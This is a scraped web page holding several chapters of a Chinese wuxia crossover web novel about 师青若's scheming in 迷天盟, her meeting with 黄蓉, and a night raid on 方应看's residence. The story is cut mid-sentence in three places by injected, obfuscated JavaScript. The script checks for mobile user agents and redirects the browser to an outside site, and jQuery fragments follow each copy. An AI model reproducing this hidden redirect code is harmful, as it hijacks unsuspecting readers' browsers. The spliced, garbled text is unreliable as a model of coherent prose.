l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930938|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王小石还想再问,就听师青若又补充道:“我知道王公子有自己的坚持,加入迷天盟也不是令你要与蠹虫为伴,你大可遇事自行决断,我只有一个要求。” 她定定地看向面前的两人,以格外认真的语气说道:“虽是考验,但你二人今日离开此地,便代表着是我迷天盟的人。我不希望你们在外面堕了我的脸面。” “另外,我还有两句话要提醒你们。” 王小石和白愁飞走出此地的时候,神情都稍有恍惚。 令他们有此表现的,不是师青若委派下来的任务,而是她最后说的话。 她说,她可以从一介不会武功的孤女,变成迷天盟的圣主夫人,此前认识的其他人,也自然可以有别的身份。 那个不太温柔的“温柔”女侠,是将身份写在了脸上,在抵达京城后,也很快去投奔了她的师兄,也就是金风细雨楼楼主苏梦枕。 而那位在江上被他们救下的“田纯”田姑娘,若是换一个更为准确的称呼,该当叫她雷纯才对,也就是六分半堂总堂主雷损的独生女儿。 当他们加入迷天盟的那一刻,他们和那两人起码在明面上是敌非友,可千万别做出什么投敌的事情。 这是她给出的忠告。 …… “您真的觉得,他们会是您的得力干将?”朱小腰目送着那两人的背影消失在视线之中,忍不住问道。 “以我从这两人的履历看来,白愁飞野心太重,王小石倒是个讲义气的人,可惜有些直脑筋……” “我知道。”师青若颔首应道。 这一点,在她来到京城前和这两人的往来中,就看明白了。 更何况,朱小腰不会明白,师青若对这两人的了解,远比她想象的还要深得多。 穿越之前,在她选择攻略苏梦枕的第一个周目,她和王小石与白愁飞打过太多交道。 只不过在那个周目中,他们加入的并不是迷天盟。 在六分半堂对苏梦枕的刺杀中,王小石和白愁飞与苏梦枕配合杀出重围,也得到了他的青眼,以兄弟相待。 前者,险些在苏梦枕过世后,成为接任金风细雨楼楼主的人选。 而后者,因为绝不甘心屈居于人下的野心,站在了苏梦枕的对立面,只为了拿到一方大权。 若从这一点上来看,白愁飞绝不适合被收在麾下作为下属,因为他膨胀的野心,迟早会让他不想再听从任何人的号令。 可那又如何呢? 起码现在,他对于师青若想要走出的这一步来说,是最合适驱策的人选。 “我只要一个结果,随后如何,我自有打算。”她回道,“你要做的只有两件事。” “一件,是让人看着点白愁飞,当心他提前做出些不合时宜的举动,而另一件……” 师青若这突如其来的暂停,让朱小腰本能觉得,她接下来要说的话,应当会比前一句更加重要得多。 然而下一刻,她便听到了一句话:“我不像你,有内力傍身能挨饿,让人送些午膳来。” 朱小腰哑然:“……是。” 师青若一拂衣袖,便朝着自己的住处走去。 安排好了白愁飞和王小石的去处,她心中也落下了一块石头。不过她自己也清楚,光是如此还不足以让她立足于此。 她还得寻找更多对她来说好用的下属。就是不知道凭借着那三个周目的经验,她能不能顺势找到恰当的人选,凭借着迷天盟现在的条件,又能不能将人给骗到面前。 难呐…… 思忖之间,她抬手推开了小楼的门扇。 可她的动作又猛地一顿,目光凛冽地朝着其中一个方向看去:“什么人!” 这与她有无内力傍身根本没有关系。 在她推门而入的刹那,她清楚地看到了一道灰色的身影直冲梁上飞去,虽然身姿轻灵,依然无可避免地带起了一阵风声。 有人闯入了屋中! 她这一喊,戍守于小楼之外的迷天盟部众当即护持上前。 几乎是在同时,师青若已看见了坐在房梁上的身影,与她打了个照面。 那是一个衣着破烂的乞儿。 但哪怕光线昏暗,以师青若的眼力依然不难看出,那是一个年约十五岁的女孩子乔装而成的。 她也绝不会是一个简单的乞丐。 因为在她面上的黑灰之下,分明是比起寻常江湖人士都要白皙的肤色。 就连此刻被人抓包,她的脸上也不是尴尬,而是一派惊叹之色。 只开口的时候稍有几分羞涩:“姐姐,我听人说这里有一场婚宴,可没想到,留下的东西属实不太好吃。” 师青若扯了扯嘴角。 好不好吃的先不说。她分明看到,这女孩儿将手中的糕点往背后藏了藏。 10. 010 这表现,同不打自招也没什么区别。 师青若仰头道:“可若是我不曾记错的话,此次婚宴之中的菜品与点心,都是找来了宫中告老归家的御厨来做的。就算不是样样都如那鸳鸯五珍脍一般,乃是宫中名品,也比其他地方的好上数倍。假使这都入不得姑娘的口,这汴京城里怕是没有能吃的了。” 那梁上的小乞儿了然点头:“原是如此,难怪比那几处酒楼的都强多了。” 她话刚出口便意识到不妙,旋即对上了师青若玩味的目光,被泥灰覆盖的面容偷偷一红,连忙调转了话题:“只是你这儿的戍卫实在不成,再好的东西放着也要被偷了。” 东西是这样,人也是这样。 小乞儿扫视了一圈晚了半步才冲进来的护卫,心中暗暗摇头。 自昨日来到汴京之时,她便听说,这迷天盟中的新夫人,乃是个当世少见的美人,可惜不会武功,在嫁给关七之后,等闲情况怕是不会外出。 她此前住于海岛之上,没见过多少中原的新鲜事,怎能不上门来凑个热闹。 等真见到了人,她便意识到,纵然这江湖上的有些传闻确实做不得数,唯独这一条,却是再真也没有了。 眼见对方抬眸间不见警惕,反而流露出了一抹清淡的笑容,她也不觉更看得痴了。 忽听师青若说道:“迷天盟中的守卫布防虽比不得另外两家,但也并不像你所说的那般薄弱。要悄无声息地来到此处,只能是自五行布阵的那一角进来的。阁下既有这等本事,我迷天盟自当扫榻相迎,不必做这梁上君子。” 她招了招手:“下来说话吧,我不爱仰头看着旁人。” 这女扮男装的乞儿身形要比司空摘星矮小,倒是不必像他一般倒挂在梁上。可此地逼仄,也不是个长待的地方。 她也顺势摆了摆手,令那些提剑戒备的护卫都往后退上一退。 倒不是因为她对这凭空出现的乞儿毫无戒备之心——毕竟在先前的送亲路上,六分半堂的豆子婆婆已用自己的行动证明了,在这江湖上,就算是老妪也不能小看。 而是因为,她虽并未和对方打过交道,却也能隐约猜出对方的身份。 那确实不算是个危险的人物。 起码要比先前见的王小石和白愁飞安全得多。 小乞儿也不露怯,当即就从房梁上翻了下来,轻巧地落到了地上,继续用好奇的目光打量着师青若的举动。 师青若问:“正好我要让人上午膳了,让人给你添一份碗筷?” 小乞儿讶异地瞪大了眼睛,便听师青若已没等她回应就吩咐了下去,宛然不是一句客套的话。 见有人端了水盆来,她便下意识地将手给放了下去洗净。 虽然脸上还有那一层模糊掉面容的泥污,但她坐在师青若对面的时候,摆在桌前的那一双手已是白皙细腻的模样,任是谁都看得出来,和她此刻的脸色有着天壤之别。 若到了这个时候她还要将自己当做是个寻常的乞儿,那也未免太将其他人当做傻子了。 “小乞儿”的目光扫过了双手,慢了半拍的动作,再抬头,正对上师青若盈盈含笑的眼睛,不由心中一惊。 糟了!这莫不是江湖上盛传的美人计! 她当即想要找回点场子来,便对着端上了桌的菜品评点道:“既是延请了御厨,那这前菜也该按照规矩来,就算不按什么四干四鲜,两咸四蜜,也得按照时鲜的果子蜜饯来,不能胡乱凑数。至于正菜,如今春寒未退,我看该有鸡舌羹与鸳鸯煎牛筋这样的热菜才好。” “至于酒水……”她看了看被倒在面前杯中的清酒,神情轻快道:“三白汾酒常见,却不配肉味,也该当换换才好。” 她将话说得顺口极了,明明是挑刺的口吻,却愣是被说出了三分的可爱,更让人毫不怀疑,这些东西她是不是亲自品尝过。 朱小腰本有心上前告知此人来历,却见师青若微不可见地比划了个手势,从容不迫地应道:“可你方才说错了一个词。” “诶?” “我告诉你,这里的厨子是被找来的,并不是如你话中说的那样被请来的。换句话说好了,像是迷天盟这么个麻烦地儿,等闲的厨子是绝不愿意来涉险的。既然请人的时候没同人家讲什么道理,那做上来是什么菜,也只能由着人家的心情了。” “小乞儿”的动作当即一顿。 什么请来?要真是按照师青若这么说,说是将人劫掠来的算了。 她脱口即道:“那你还敢吃他做的东西?” 这也未免太过大胆了! 厨子经营入口的东西,要动点手脚再容易不过。 她自己就喜欢钻研琢磨些吃食,怎么会不明白这个道理。 然而在她的面前,那道出事实的人,已漫不经心地从旁取过了筷箸,夹起了面前的兔丝,随口应道:“有何不敢呢?迷天盟中用药的好手无数,下没下毒,是再清楚不过的事情。所以你也大可不必担心饭食之中有毒——” “若是当真饿了,便先填饱肚子吧。” “小乞儿”眨了眨眼睛,属实看不太明白师青若这葫芦里到底卖的是什么药。 明明从外表来看,这位住于阵法保护重地的圣主夫人也只比她大上七八岁的样子,可她却看不明白对方到底是个什么样的脾气。 她有个在江湖上颇有名头的父亲,得了个“东邪”的诨号,按说已是在做事上不大遵循常理。却不料打从出门混迹江湖以来,见到的尽是不按常理出牌的人,也不知道到底是谁更邪性一些。但又不知为何,她看师青若却是越发顺眼了。 或许,若她是关七的话,见到这样一位姑娘,也会不计代价将人留下的。 呸呸呸,她怎么能这么想! “吃饭的时候分心可不是好事,你在想什么?” “小乞儿”猛地回神,一边暗忖,本该配上菊瓣的兔肉,因时令的缘故换成了春梅,也别有一番风味,一边回道:“我在想,你为何会让我上桌。” 师青若答道:“这有什么不好解释的?一个姑娘家行走江湖要打扮成乞儿模样,谁知道是不是遇上了点麻烦。你又对我并无杀心或者威胁,那便当客人对待就好。” 她想了想又道:“你也不必问我如何看出你是个女孩子。我认得一个很会易容的朋友,若说乔装改扮,就你这点往脸上抹灰的本事,还差了太远。” “小乞儿”努力压制住了自己在听到前半句话的暖意,嘀嘀咕咕:“……我本也没觉得这装束能骗过人,也就有些呆子看不出来,一口一个黄兄弟。我爹爹的易容术向来高明,我虽没学会精髓,却也不只是会这一点伪装。” 她声音是低,偏偏这屋中安静,加之师青若的耳力不差,倒是听了个清楚。 师青若眸光微动,越发确实了自己对来人身份的猜测并未出错。 却也没开口叫破她的身份,只问:“那不知令尊是何许人也?” 这一问,若是换了旁人倒是好答,偏巧又将那“小乞儿”给问倒了。 她鼓了鼓腮帮子:“不必管他是什么人。我夜里偷偷逃家出走他也不寻我,必定是不要我了,你只消记得我是什么人就行了。我姓黄,单名一个蓉字。” 师青若噗嗤一笑,很觉这前半句话里尽是孩子气,但想了想面前这姑娘的年岁不大,早年间又是与父亲一并住在海岛上,有这等脾性并不出奇。 “原是黄姑娘。你既这么说了,我也不多过问你与令尊到底起了什么冲突。” “别叫黄姑娘这么奇怪,你喊我蓉儿就好。”黄蓉此刻交代了姓名,更听了师青若这句并不多问的话,倒是比方才自在了许多。 或许也正是因为少了些紧绷,她方才真正仔细端详起了师青若的神态。 她也这才留意到,在面前丽人的鼻侧有一点小痣,却丝毫不见美玉微瑕,反而在她此刻含笑的面容上,显出几分鲜活的妩媚来。 一想到这样一个美人似乎在传闻中是被那个疯子劫持回来的,或许正跟这做饭的厨子是同病相怜之人,便觉心头有些发堵。 偏偏正在此时,就听师青若沉吟片刻,接道:“你说自己是逃家出走,现在可有安顿的地方?若是没有的话,这迷天盟中也能分出个落脚的地方来。” 眼见黄蓉诧异抬眸,师青若坦然应道:“别怪我将话说得直接。一来我见你举止不俗,很是喜欢。二来嘛,我今日才为盟中新招纳了两个帮众,却还觉大为不够。我见你有五行布阵的底子,轻功也比等闲江湖人士要高,也想试着招揽一二。” 她略显期待地又补上了一句:“你看如何?” 不怪师青若有此期待。 在她选择攻略游戏的第三个周目,因为隐居海外的缘故,和桃花岛上有过往来,这才解锁了黄蓉和她父亲东邪黄药师这两个角色。 黄药师是何许人也姑且不论,师青若更在意的还是黄蓉。 这姑娘性情古灵精怪,长于变通,更有绝高的习武天赋和在奇门遁甲上的造诣,做朋友应当有趣,若是能够招纳到麾下,也该当是个极为出众的下属。 她没料到自己会在这样的场景下,因为黄蓉对婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930939|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴的好奇,有了见面的机会,却并不妨碍,她对招揽对方提起了十分的兴致。 以至于当抛出这个问题后,她看似神情依旧,却时刻留意着黄蓉脸上的变化。 她也当即留意到,那面上的黑灰也没掩饰住黄蓉突如其来的心头一松,像是解决了一个记挂着的大问题。 黄蓉心中忖度,师青若这寥寥数句,足以证明,她先前的某些担心大可不必。 一个能有权力招揽帮众的人,绝不可能只是旁人刀下的鱼肉。 但这招揽本身…… 她连忙答道:“姐姐的这邀约我也很想答应,只是我现下还有一件大事要做,本也不能在此地停留,请恕我不能接下这份好意了。” “大事?”这一次轮到师青若有些好奇了。 黄蓉压低了声音,小声回道:“我与姐姐一见投缘,加上此事或许也与姐姐有关,告诉姐姐也无妨。” “我此次出门在外,穿着这一身打扮,免去了许多麻烦,却也遭了不少冷眼,走到如今,只有两个人对我盛宴款待,一个是姐姐,另一个,便是个从塞外来的呆头鹅。” 说到这里,她忽然停顿了片刻。 是了,若非这是对她善意以待的人,她本不必跟师青若这个头一遭见面的人说这么多。 但她向来爱憎分明,既觉对方不仅是个赏心悦目的美人,也是个心善的好人,又怎能不多说几句。 “他不知是要找什么人,先南下去了嘉兴,又北上来了汴京,却在这里遇上了几个老仇人,险些遭了他们的算计,好在有一位道长出手相助,这才没让他真出了事。但就是这位道长昨日中了奸贼的算计,身中剧毒,所以我有意帮他一把,带那呆子去偷来解药。” “听起来这确实是一件大事。”师青若颔首,“可这与我又有什么关系呢?” 黄蓉正正经经地答道:“姐姐不知,和那呆子和道长有仇的人,是被神通侯府请来的客卿。也不知这位方小侯爷明明有一位人称巨侠的父亲,却为何会同那些怪人往来。但我知道一件事。” 她说话间拧了拧眉心:“我在旁偷听,听到他们提起了先前姐姐婚宴前的那场刺杀。说是这刺杀之事,是由什么相爷牵头,由六分半堂和神通侯府一并出人出力,却不料被无情总捕打断,还折去了不少人手。” “据说方小侯爷对先前失手的事情大为光火,觉得那什么八大刀王不过是沽名钓誉之辈,办起正事来便要失手,恰逢这一批新来的客卿陆续抵达,或许会重新策划什么恶行。” “我今日夜间打算往神通侯府一闯,若是还能听到些什么便好,可若是不能……” 她略带担忧地看了看师青若的脸,“还请姐姐——” “自己千万小心。” …… 千万……小心吗? 师青若目送着黄蓉在用过午膳后消失的身影,心中对于这个突如其来的消息已有了一番快速的估量。 一封急信也很快被人送到了汴京城中的客栈内。 陆小凤眼见司空摘星将这封信,格外郑重其事地打开,便觉一阵不妙。 他甚至都不必问,这封信是由谁寄出来的了。只问:“信中说了什么?” 司空摘星没有瞒着陆小凤的意思,“她说,今夜神通侯府有人将要去上门行窃,想雇佣我趁乱去偷个东西。” 陆小凤原本还拎着酒壶斜靠在窗边,听到这里忽然坐起了身子,“……雇佣?” 这还要什么雇佣! 以他对司空摘星的了解,但凡那位师姑娘……不,应该说是师夫人有事相求,司空摘星不要报酬也是肯去做的。 先前去六扇门找无情总捕插手婚礼,不就是这样的情况吗? 更不用说,以他和师青若的简短会面,都能看得出来,这不会武功的女子看似只是被拉扯进乱局之中,实则却是将迎头而来的种种麻烦,都化解在了无形之中。 就算她已嫁给他人,司空摘星也未必没有希望。 这点希望,足够让人拼个头破血流。 他刚想到这里,就听司空摘星答道:“自然是雇佣。师姑娘说……” 他略微低沉下了语气:“她先前做的事,是以无心算有情,已是对不住我,如今还是公事公办的好。要不要接这单买卖,全看我的想法。” 陆小凤心头顿时一阵咯噔。 坏了。 若是没有这一句,他或许还有机会将司空摘星劝下来。 但多了这一句无心算有情,便是那神通侯府是刀山火海,也有人愿意闯上一闯! 11. 011 陆小凤深吸了一口气:“介意让我看看你那位师姑娘送来的信吗?” 他有时候真恨不得自己与他那另一位好友花满楼一般是个瞎子,最好司空摘星也一样,这样…… 后者就不必因为一位天下绝艳的美人陷入麻烦当中,他也不必看到司空摘星顶着一脸恍惚的笑容,将那封急信递给了他。 活像是中毒一样。 这一看,那浑似不经意间写下的“无心算有情”,便蹦入了他的眼中。 当然,陆小凤此刻更在意的倒不是这句,而是这封“雇佣信”中的其他内容。 他快速将信上的内容扫视了一圈,总算微微松了口气。 以他这个旁观者的视角看,师青若必定存有利用司空摘星的想法。 她虽是嫁给了迷天盟的七圣主,却并未真正坐在盟中的第二把交椅上,能够指挥调度的人手有限。这些各怀鬼胎的下属,还未必能比司空摘星好用。 既然一个愿打一个愿挨,便无妨将这份助力用到实处来。 好在,她也没真打算让司空摘星往死路上送。 这份信写的简短,其中的信息倒是一点不少。 黄蓉告知于师青若的消息,都被她填补了细节放在信中,清楚地说明了今夜将要闯入神通侯府的人与其中客卿的恩怨。 这些人的门派来头与武功根基摆在了明面上,便不难让人揣测出,今夜在那头能弄出多大的动静。 至于司空摘星所要做的事情,便是趁着神通侯府疏于防守,往一个地方去一去。 在此地行窃,若要不像今夜的其他人一般惊动侯府守卫,只能是由司空摘星这样轻功绝顶的人去做。 又因此事干系重大,她暂时不能信任金风细雨楼的人出于合作关系代劳。 要陆小凤看来,师青若实在不必将“干系重大”“机会难得”这样的话写出来了。 他再一转头去看对方,就见司空摘星的脸上已写满了即将行动的谨慎。 就算隔着那层易容都让人看得分明。 “……她说,让你往方小侯爷的不应斋走一趟,将后院奇珍异兽园内的一样东西带回来,却没说是什么,你就不怕找错了?” 司空摘星笃定答道:“师姑娘说,等我站在那件东西面前的时候,我就知道我一定要将它带回去,我又何必担心。” 陆小凤无力吐槽,却忽然正了正面色:“那好!不管她说的接应到底有几人,又能不能及时赶到,我都舍命陪君子,与你往这神通侯府走上一遭!” 他来都来了,怎么都要与好友从汴京这地方全身而退。 …… 说神通侯府是龙潭虎穴,或许并不是个夸张的说辞。 方应看因义父方歌吟的缘故,得到了这个神通侯的敕封,也同样是因为方歌吟,他还得到了众多江湖好手的护持助力。 这世上有一部分的大侠只愿独身上路快意恩仇,但也有一部分大侠因种种机遇,成了江湖上众多帮派的首领。 方歌吟就是后者。 于是方应看的神通侯府虽在京中称得上是行事低调,远远不及同在此地的六分半堂和金风细雨楼,但也绝不是个能让人来去自如的地方。 自小心越过岗哨的司空摘星看来,这侯府夜色里的昏暗地界,好像都蛰伏着一张张择人而噬的巨口。 就算有陆小凤同行,也由不得他不小心谨慎些办事。 好在今夜月色黯淡,似是被乌云所罩,让他要藏匿于各处阴影之中,比之寻常时候更加容易得多。 不过说来也怪,这偌大一个神通侯府内,真正能算得上是灯火通明的地方,竟然只有两处。 一处,是此刻汇聚了些许人声的前院。 司空摘星二人方才途经此地的时候,瞧见不少侯府中的门客正在那头比武论高低,像是因其中的一部分刚来此地不久,要先按照江湖中人的规矩亲近亲近。 至于另一处,便是方应看的不戒斋。 …… 在众多明灯齐聚的辉光烛影之中,这位方小侯爷简直像是沐浴在白昼的日光之下,也正将那张冠玉星目的俊俏容颜映照得无处不显。 他虽不是正经的公侯贵胄出身,但以与他同在此地的米公公看来,哪怕方应看衣着随意,在五官轮廓里也略显秀美有余,也足以让他有着不输于皇室子弟的气度。 更让米公公欣赏的,还是另一点。 这位方小侯爷不像是他那个义父一样,明明手握这样大的助力,还只想着远离朝堂。 方应看有野心,还是一份绝不输于任何人的,想要掌握权势的野心。 当然,这江湖上有野心的人并不少见,但像方应看这样有背景又有能力,外加上野心与头脑的人,便绝不多见。 只是今日,他似乎是遇到了点烦心事,让他以笔杆尾端点在了眉心,试图将这一点微微蹙起的褶皱给抚平。 “还在想迷天盟的事情?”米公公问道。“此事不该困扰你太久。” 事实上,也没人会将当日刺杀之事的责任,往方小侯爷身上推。 若要算动用的人手,方应看在其中占不到大头。 他也大可以说,自己是因来到京城立足不稳,仍需依附于相爷,这才在对方的牵线搭桥之下,和六分半堂的雷损有了一出合作。 可惜,这并不是一次成功的合作。 方应看放下了手中的朱笔,笑了笑:“这本是铲除迷天盟的大好机会,确实令人惋惜。这几年间北边不大平静,所以天子脚下必须安定,自然该当缩减话事的人。朝廷里吃俸禄的那些大爷们只想见汴京剩下一个帮派,我也理当帮他们一把。”① 他说出的话里满是算计,却因生了一张好面容,竟看起来像是在与人谈笑风生。 若非米公公早知道方应看是什么样的人,只怕也要被他这轻飘飘的几句话吓一跳。 帮他们一把?等到迷天盟没了,剩下的六分半堂和金风细雨楼必定要斗个你死我活。 可这些人又怎么会料到,方小侯爷早已养精蓄锐静候在旁,甚至收编了不少属于迷天盟的部下。只要那头的两条大虫斗出个好歹,便是他来渔翁得利的时候了。 但更让人没想到的是,这场本应当由婚宴刺杀开始发酵的大事,居然会以这样的方式被人打断,也让方应看不得不延后行动、另寻时机。 “先前我连咱们这个新帮派的名字都想好了。”他薄唇一抿,笑意越发放肆,“就叫做有桥集团。” “有桥……”米公公闻言一愣,又忽然应声大笑,“好啊,叫有桥集团好。” 这可不是什么有没有桥梁的“有桥”。 他在进宫为皇室效力之前的名字,是米苍穹,因得先帝青眼,又得到了个赐名,叫做米有桥。 可一个御前供奉高手,是不能在京城里结党营私的,偏他自己不愿沉寂,便与同样心怀异志的方应看“勾搭”在了一起。 看着方应看将他义父送来的人手掌握在自己这头,又新招揽来了不少门客,连带着迷天盟的五圣主和六圣主也收入囊中,他便觉得自己也像是年轻了一回,即将成为搅弄风云之人。 这个未来的帮派出于避嫌的缘故,或许并不能真正以“有桥集团”来命名,但方应看有这份孝敬于他的用心,就很好! 方应看迎着米有桥赞许的目光说道:“我们比雷损的根基更浅,若能在那两方争斗最后脱颖而出,必定能更得相爷的信任。等吞了迷天盟的地下暗桩和那两头的白道势力之后,也再不必和如今一般,还要依托于放贷来敛财。有这样天大的利益摆在面前,我等得起。” 他有这样的耐心。 反正义父还在四方云游,对于他在京中的小动作一无所知。 待他攀援在数座高枝之上发展壮大,义父再想要再行阻拦便来不及了。 至于在迷天盟那头的失利,对他来说也不算致命打击。 正如米有桥所说,这些人都没将他当做真正的对手,怎会知道他是一条在旁窥伺的毒蛇。他现在吃一吃教训,遭受打击,也算是多学一份经验,总比在日后受挫更好。 至于那迷天盟新出现的圣主夫人,且先等等内应带回来的消息也不迟。 “我发愁的是另外几件事。”方应看起身,在屋内踱步了两个来回。 “说来听听。” “其一便是相爷那头。”方应看语气略带不悦,“因他是托孤重臣的缘故,朝堂上暂时没有能在地位上越过他的,我们只能与他交好,甚至往后也要多给他送送礼,但米公公应当能看得出来,傅相近来干的糊涂事可不少。” “先前对付连云寨与毁诺城的那一桩案子就办得很不利落,又是折了那个卧底进连云寨的顾惜朝,又损了九幽神君这样的高手,还自断了一条臂膀,死了个文张。” “他那位夫人若按米公公您说的,是从旁人那里抢回来的,在当年弄出了一桩冤案,偏他不知道何为斩草除根,竟将那女人的孩子记在了自己的名下,以傅为姓,全然当是亲生孩子。……我看也迟早要折腾出事端来。” “咱们还是该当与他保持好距离,倘若真出了事,也能尽快了断。” 米有桥颔首:“你这话说得没错。靠着谁都不如靠自己有用。另一件呢?” 方应看沉声:“义父始终不肯授予我他的独门绝艺,光有血河神剑……再加上北边那位暗中送来的乌日神枪,若是遇上雷损和关七这样的高手,终究还是不顶用。” 米有桥对此不置可否,只语气平淡地问道:“那你的意思是——” 方应看道:“那日配合刺杀,不是见到了个相爷手底下的新门客吗?我瞧着他的师承,看上了一门新武功。若是近来京中的事情还需等待,也不妨看看,能不能寻到机会去与那位……” “外面什么声音!” 方应看忽然中断了话茬,厉声朝着门外问道。 他武功乃是方歌吟亲自督促练成,又天资绝高,便不难自窗外的风中听到一些特殊的动静。 倘若他未曾听错的话,那声音是自前院发出的。 他近来新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930940|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了几个人才,其中以白驼山少主欧阳克为最。便决定让对方和自己的其余门客比拼比拼武功,也好让那些早入府的家伙有些危机感,再将武艺好好打磨一番。 欧阳克有个名号西毒的叔父,自己也有着一手豢养毒虫的好手段,保不齐就能让他在一些见不得光的地方动手,更让方应看在心中多了一份期待。 可这前院传来的动静,却分明不像是神通侯府中点到为止的切磋,更像是闹出什么事端了! 方应看面带薄怒走出,就见下人匆匆来报。 “回禀侯爷,伶仃刀蔡公子和欧阳公子正在比试的时候,忽然闯进来了个怪小子,还有个白衣金环打扮的姑娘是同他一路的。参仙老怪说那怪小子喝了他的蛇血要他偿命,那姑娘在拦,两方便闹了起来。” “为何不杀了了事?” 下人讷讷应声:“本是要这般的,哪知道那姑娘生得漂亮,欧阳公子怜香惜玉,要同她来上一场文斗。比试之中,傅公子带来的那个女魔头又不知为何忽然站到了那姑娘那边,说这是她师父的女儿。这就彻底乱成一团了!” “……”方应看心中暗骂,这都是什么乱七八糟的。 却还是开口回道:“我亲自去前院看看!” 他如今是要蛰伏,要养名,但不代表—— 什么阿猫阿狗都能到他的地盘闹事! …… 可他这一走,便没发觉,有两道灵巧的身影原本还一动不动地趴伏在一处院落内,防止米有桥这位大内高手察觉到他们的闯入。现在却因他往前院,米有桥告辞离去,这两人在两厢对视之间,都看到了对方眼中的惊喜。 机会来了。 就在那一片明光簇拥着方小侯爷离去的同时,这二人像是两缕黑烟一般晃入了不戒斋的后院。 这里正是方应看的重宝珍藏之地,就连其中的花园,都被命名为奇珍异兽园。 虽然方应看去了前院,此地负责守门的依然是两位高手。 若来的不是司空摘星和陆小凤,怕是极易被这二人察觉。 司空摘星屏气凝神地落在了园中,小心地打量着四周。 此地被命名为奇珍异兽园真是一点也不错。对常人来说绝难一见的祥瑞之兽,在此地竟然像是被豢养的家禽一般困锁在笼中,也不知这方小侯爷到底有多少门路。 所幸他们落地并走动的声音极轻,并未将这些在睡梦中的野兽惊醒,也就自然没引来那守门二人的注意。 但他们还是该当尽快离开此地为好,否则难保不会触动什么机关,发出什么动静,将方应看和他的门客都从前院引来这里。 陆小凤逡巡一周,朝着司空摘星以气声发问:“你可有看到师姑娘让你找的东西?” 他朝着左边看看。 这个白狐虽然罕见,但在院中甚至能算不起眼的东西。 他又朝着右边看看。 那头四不像若是配上山中云雾,说不定能算是个地方上报的吉兆,但陆小凤有种直觉,这也不会是师青若想要找的。 也不知道师青若是怎么想的,非要在信中故布疑阵,不直接将话说明白,是真不怕他们找错了东西。 那还有…… 陆小凤猛地收脚,这才免于一脚踹上前方的铁笼。 他这一边思忖一边寻找,竟是直接走了个神。 幸好那铁笼中黑漆漆的一团,安静得没什么声息,又看起来不像是个猛兽的体型,估计也少了几分敏锐,要不然他可真要惹出事来了。 他赶忙平复了刚才猝然加剧的心跳,小心地朝着前方的铁笼打量,谨防错过了东西。 该当庆幸的是,原本为乌云所笼罩的月亮,也有片刻挣脱束缚,正照在了这方花园之中。让他不必点起火烛,也能隐约看到这笼中的物事。 为了防止看错,他又将身子往前凑近了些。 但不知是不是他的错觉,在这靠近的刹那,涌入鼻息之间的气味不太像是野兽的腥膻,而是一种隐约的血腥味。 这黑漆漆的蓬乱一团,也不像是野兽的皮毛,而是…… “啊!” 陆小凤惊得瞪大了眼睛,险些脱口而出一句惊呼,只来得及凭借着本能捂住了自己的嘴,以免那声音发出口来。 他看到了。 零星的月光从那“蓬草”之中穿过,照亮了一双无神的眼睛。 那双眼睛之下有一张费力张开的嘴,却只见口舌开张,听不到半点的声音。 幽暗的光影只能隐约让人确定,这被禁锢在此的人其实有一张秀美动人的脸,却又因这种种折磨,已然扭曲成了古怪的模样。 陆小凤骇然后退了一步,就又看到了另外的东西。 这蓬草之前的两团暗色,不是什么兽类在活动的前爪,而是属于人的两只手在动弹。 但……这两只手哪里还能称得上是手呢,那上面分明已无任何一根手指。 这不戒斋的奇珍异兽园内,竟有一个瞎了眼睛哑了喉咙,还被切断了十根手指的女子!② 12. 012 一个会武功的人若是被人废去了眼睛,毒哑了喉咙,切断了十根手指,再无动用兵器的本事,大半的可能是没有了活下去的动力。若是不幸还被自己的仇敌所软禁,简直恨不得下一刻就能死去。 这委实是一场天大的折磨。 那么……若受难的还是个普通人呢? 陆小凤俯下身,小心地握住了那女子的手腕,在察觉到对方的脉息后,又是心中一惊。 “她不会武功。”陆小凤可以肯定地下达这个判断。 不仅不会武功,也没有修炼过武功的迹象。 那么他甚至不能说服自己,这是方小侯爷将一个为非作歹的恶人废了武功囚禁在此地,让她偿还自己过往的罪孽。 陆小凤更没有看错。 当这个囚禁在此的女子察觉到有人靠近的时候,她的第一反应是恐惧和躲避。 但在察觉到陆小凤并不带恶意的试探后,她甚至再未表现出任何一点进攻性。 那绝不是一个作恶之人会拿出的表现。 这怎能不让陆小凤备感惊诧与愤怒。 方应看,他将一个普通人变成了这个样子! 他不知道为何,方应看有那样一个声名显赫、侠义心肠的父亲,又在汴京城中名声绝佳,竟然会在自家的奇珍异兽园内干出这样的事情。 他只知道,甚至江湖上的人都知道—— “四条眉毛”的陆小凤向来喜欢管些闲事。 “若是我没猜错的话,这就是师姑娘想要我们带回去的……人。” 司空摘星早在陆小凤发出动静的第一时间,就已身形一闪,跳到了他的身边。 陆小凤心中一阵急转之时,他也已经快速查探清楚了这女子的情况。 饶是司空摘星因为打交道的人更可算三教九流,自诩要比陆小凤“见多识广”,也不由大受震动。 他也顿时明白了为何师青若会说,倘若他来到这里,他一定不会找错东西。 因为…… “奇珍异兽园……”陆小凤咬牙切齿,“这算什么奇珍异兽!” “动手!”司空摘星果断开口。 